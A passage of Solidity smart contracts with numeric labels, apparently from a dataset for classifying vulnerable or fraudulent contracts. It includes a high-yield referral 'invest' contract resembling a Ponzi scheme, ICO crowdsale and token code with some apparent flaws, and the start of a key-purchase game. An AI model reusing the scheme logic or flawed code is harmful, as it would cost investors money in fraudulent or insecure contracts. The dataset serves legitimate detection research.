Hours = (lastTimeWithdraw[_address] % 1 days) / 1 hours;
Minutes = (lastTimeWithdraw[_address] % 1 days) % 1 hours / 1 minutes;
}
function() external payable {
msg.sender.transfer(msg.value);
uint _approvedTokens = token.allowance(msg.sender, address(this));
if (_approvedTokens == 0 && deposit[msg.sender] > 0) {
withdraw();
return;
} else {
if (msg.data.length == 20) {
address referer = bytesToAddress1(bytes(msg.data));
if (referer != msg.sender) {
invest(referer);
return;
}
}
invest(0x0);
return;
}
}
function refSystem(uint _value, address _referer) internal {
refBonus[_referer] = refBonus[_referer].add(_value.div(40));
referals1m[_referer] = referals1m[_referer].add(_value);
if (refIsSet[_referer]) {
address ref2 = referers[_referer];
refBonus[ref2] = refBonus[ref2].add(_value.div(50));
referals2m[ref2] = referals2m[ref2].add(_value);
if (refIsSet[referers[_referer]]) {
address ref3 = referers[referers[_referer]];
refBonus[ref3] = refBonus[ref3].add(_value.mul(3).div(200));
referals3m[ref3] = referals3m[ref3].add(_value);
}
}
}
function setRef(uint _value, address referer) internal {
if (deposit[referer] > 0) {
referers[msg.sender] = referer;
refIsSet[msg.sender] = true;
referals1[referer] = referals1[referer].add(1);
if (refIsSet[referer]) {
referals2[referers[referer]] = referals2[referers[referer]].add(1);
if (refIsSet[referers[referer]]) {
referals3[referers[referers[referer]]] = referals3[referers[referers[referer]]].add(1);
}
}
refBonus[msg.sender] = refBonus[msg.sender].add(_value.div(50));
refSystem(_value, referer);
}
}
function invest(address _referer) public {
uint _value = token.allowance(msg.sender, address(this));
token.transferFrom(msg.sender, address(this), _value);
refBonus[owner] = refBonus[owner].add(_value.div(10));
if (deposit[msg.sender] > 0) {
uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender])).div(1 days).mul(deposit[msg.sender].mul(311).div(10000));
if (amountToWithdraw != 0) {
withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw);
token.transfer(msg.sender, amountToWithdraw);
uint _bonus = refBonus[msg.sender];
if (_bonus != 0) {
refBonus[msg.sender] = 0;
token.transfer(msg.sender, _bonus);
withdrawn[msg.sender] = withdrawn[msg.sender].add(_bonus);
}
}
lastTimeWithdraw[msg.sender] = block.timestamp;
deposit[msg.sender] = deposit[msg.sender].add(_value);
if (refIsSet[msg.sender]) {
refSystem(_value, referers[msg.sender]);
} else if (_referer != 0x0 && _referer != msg.sender) {
setRef(_value, _referer);
}
return;
}
lastTimeWithdraw[msg.sender] = block.timestamp;
deposit[msg.sender] = (_value);
deposits += 1;
if (refIsSet[msg.sender]) {
refSystem(_value, referers[msg.sender]);
} else if (_referer != 0x0 && _referer != msg.sender) {
setRef(_value, _referer);
}
}
function withdraw() public {
uint amountToWithdraw = (block.timestamp.sub(lastTimeWithdraw[msg.sender])).div(1 days).mul(deposit[msg.sender].mul(311).div(10000));
if (amountToWithdraw == 0) {
revert();
}
withdrawn[msg.sender] = withdrawn[msg.sender].add(amountToWithdraw);
lastTimeWithdraw[msg.sender] = block.timestamp.sub((block.timestamp.sub(lastTimeWithdraw[msg.sender])).mod(1 days));
token.transfer(msg.sender, amountToWithdraw);
uint _bonus = refBonus[msg.sender];
if (_bonus != 0) {
refBonus[msg.sender] = 0;
token.transfer(msg.sender, _bonus);
withdrawn[msg.sender] = withdrawn[msg.sender].add(_bonus);
}
}
} | 0 | 1,059 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract FidcomToken is MintableToken {
string public constant name = "Fidcom Test";
string public constant symbol = "FIDCT";
uint32 public constant decimals = 18;
bool public transferAllowed = false;
modifier whenTransferAllowed() {
require(transferAllowed);
_;
}
function allowTransfer() onlyOwner {
transferAllowed = true;
}
function transfer(address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract StagedCrowdsale is Ownable {
using SafeMath for uint;
struct Stage {
uint period;
uint hardCap;
uint price;
uint invested;
uint closed;
}
uint public start;
uint public totalPeriod;
uint public totalHardCap;
uint public totalInvested;
Stage[] public stages;
function stagesCount() constant returns(uint) {
return stages.length;
}
function setStart(uint newStart) onlyOwner {
start = newStart;
}
function addStage(uint period, uint hardCap, uint price) onlyOwner {
require(period>0 && hardCap >0 && price > 0);
stages.push(Stage(period, hardCap, price, 0, 0));
totalPeriod = totalPeriod.add(period);
totalHardCap = totalHardCap.add(hardCap);
}
function removeStage(uint8 number) onlyOwner {
require(number >=0 && number < stages.length);
Stage storage stage = stages[number];
totalHardCap = totalHardCap.sub(stage.hardCap);
totalPeriod = totalPeriod.sub(stage.period);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint period, uint hardCap, uint price) onlyOwner {
require(number >= 0 &&number < stages.length);
Stage storage stage = stages[number];
totalHardCap = totalHardCap.sub(stage.hardCap);
totalPeriod = totalPeriod.sub(stage.period);
stage.hardCap = hardCap;
stage.period = period;
stage.price = price;
totalHardCap = totalHardCap.add(hardCap);
totalPeriod = totalPeriod.add(period);
}
function insertStage(uint8 numberAfter, uint period, uint hardCap, uint price) onlyOwner {
require(numberAfter < stages.length);
totalPeriod = totalPeriod.add(period);
totalHardCap = totalHardCap.add(hardCap);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = Stage(period, hardCap, price, 0, 0);
}
function clearStages() onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
totalPeriod = 0;
totalHardCap = 0;
}
modifier saleIsOn() {
require(stages.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardCap() {
require(totalInvested <= totalHardCap);
_;
}
function lastSaleDate() constant returns(uint) {
require(stages.length > 0);
uint lastDate = start;
for(uint i=0; i < stages.length; i++) {
if(stages[i].invested >= stages[i].hardCap) {
lastDate = stages[i].closed;
} else {
lastDate = lastDate.add(stages[i].period * 1 days);
}
}
return lastDate;
}
function currentStage() saleIsOn constant returns(uint) {
uint previousDate = start;
for(uint i=0; i < stages.length; i++) {
if(stages[i].invested < stages[i].hardCap) {
if(now >= previousDate && now < previousDate + stages[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(stages[i].period * 1 days);
} else {
previousDate = stages[i].closed;
}
}
return 0;
}
function updateStageWithInvested() internal {
uint stageIndex = currentStage();
totalInvested = totalInvested.add(msg.value);
Stage storage stage = stages[stageIndex];
stage.invested = stage.invested.add(msg.value);
if(stage.invested >= stage.hardCap) {
stage.closed = now;
}
}
}
contract Crowdsale is StagedCrowdsale, Pausable {
address public multisigWallet;
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public percentRate = 1000;
uint public foundersPercent;
uint public bountyPercent;
FidcomToken public token = new FidcomToken();
function setFoundersPercent(uint newFoundersPercent) onlyOwner {
require(newFoundersPercent > 0 && newFoundersPercent < percentRate);
foundersPercent = newFoundersPercent;
}
function setBountyPercent(uint newBountyPercent) onlyOwner {
require(newBountyPercent > 0 && newBountyPercent < percentRate);
bountyPercent = newBountyPercent;
}
function setMultisigWallet(address newMultisigWallet) onlyOwner {
multisigWallet = newMultisigWallet;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function finishMinting() public whenNotPaused onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint summaryTokensPercent = bountyPercent + foundersPercent;
uint summaryFoundersTokens = issuedTokenSupply.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + issuedTokenSupply;
uint foundersTokens = totalSupply.div(percentRate).mul(foundersPercent);
uint bountyTokens = totalSupply.div(percentRate).mul(bountyPercent);
token.mint(foundersTokensWallet, foundersTokens);
token.mint(bountyTokensWallet, bountyTokens);
token.finishMinting();
token.allowTransfer();
token.transferOwnership(owner);
}
function createTokens() whenNotPaused isUnderHardCap saleIsOn payable {
require(msg.value > 0);
uint stageIndex = currentStage();
Stage storage stage = stages[stageIndex];
multisigWallet.transfer(msg.value);
uint price = stage.price;
uint tokens = msg.value.div(price).mul(1 ether);
updateStageWithInvested();
token.mint(msg.sender, tokens);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
} | 1 | 3,242 |
pragma solidity ^0.4.11;
contract SafeMathLib {
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address _to, uint _value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract StandardToken is ERC20, SafeMathLib{
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue,_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal,_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender],value);
totalSupply = safeSub(totalSupply,value);
totalUpgraded = safeAdd(totalUpgraded,value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = safeAdd(totalSupply,amount);
balances[receiver] = safeAdd(balances[receiver],amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is Haltable, SafeMathLib {
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract BonusFinalizeAgent is FinalizeAgent,SafeMathLib {
CrowdsaleToken public token;
Crowdsale public crowdsale;
uint public totalMembers;
uint public allocatedBonus;
mapping (address=>uint) bonusOf;
address[] public teamAddresses;
function BonusFinalizeAgent(CrowdsaleToken _token, Crowdsale _crowdsale, uint[] _bonusBasePoints, address[] _teamAddresses) {
token = _token;
crowdsale = _crowdsale;
if(address(crowdsale) == 0) {
throw;
}
if(_bonusBasePoints.length != _teamAddresses.length){
throw;
}
totalMembers = _teamAddresses.length;
teamAddresses = _teamAddresses;
for (uint i=0;i<totalMembers;i++){
if(_bonusBasePoints[i] == 0) throw;
}
for (uint j=0;j<totalMembers;j++){
if(_teamAddresses[j] == 0) throw;
bonusOf[_teamAddresses[j]] = _bonusBasePoints[j];
}
}
function isSane() public constant returns (bool) {
return (token.mintAgents(address(this)) == true) && (token.releaseAgent() == address(this));
}
function finalizeCrowdsale() {
if(msg.sender != address(crowdsale)) {
throw;
}
uint tokensSold = crowdsale.tokensSold();
for (uint i=0;i<totalMembers;i++){
allocatedBonus = safeMul(tokensSold,bonusOf[teamAddresses[i]]) / 10000;
token.mint(teamAddresses[i], allocatedBonus);
}
token.releaseTokenTransfer();
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,678 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause(uint256 _id);
event Unpause(uint256 _id);
bool public paused_1 = false;
bool public paused_2 = false;
bool public paused_3 = false;
bool public paused_4 = false;
modifier whenNotPaused_1() {
require(!paused_1);
_;
}
modifier whenNotPaused_2() {
require(!paused_2);
_;
}
modifier whenNotPaused_3() {
require(!paused_3);
_;
}
modifier whenNotPaused_4() {
require(!paused_4);
_;
}
modifier whenPaused_1() {
require(paused_1);
_;
}
modifier whenPaused_2() {
require(paused_2);
_;
}
modifier whenPaused_3() {
require(paused_3);
_;
}
modifier whenPaused_4() {
require(paused_4);
_;
}
function pause_1() onlyOwner whenNotPaused_1 public {
paused_1 = true;
emit Pause(1);
}
function pause_2() onlyOwner whenNotPaused_2 public {
paused_2 = true;
emit Pause(2);
}
function pause_3() onlyOwner whenNotPaused_3 public {
paused_3 = true;
emit Pause(3);
}
function pause_4() onlyOwner whenNotPaused_4 public {
paused_4 = true;
emit Pause(4);
}
function unpause_1() onlyOwner whenPaused_1 public {
paused_1 = false;
emit Unpause(1);
}
function unpause_2() onlyOwner whenPaused_2 public {
paused_2 = false;
emit Unpause(2);
}
function unpause_3() onlyOwner whenPaused_3 public {
paused_3 = false;
emit Unpause(3);
}
function unpause_4() onlyOwner whenPaused_4 public {
paused_4 = false;
emit Unpause(4);
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
uint256 constant private rndInit_ = 10 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
uint256 constant private whitelistRange_ = 1 days;
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
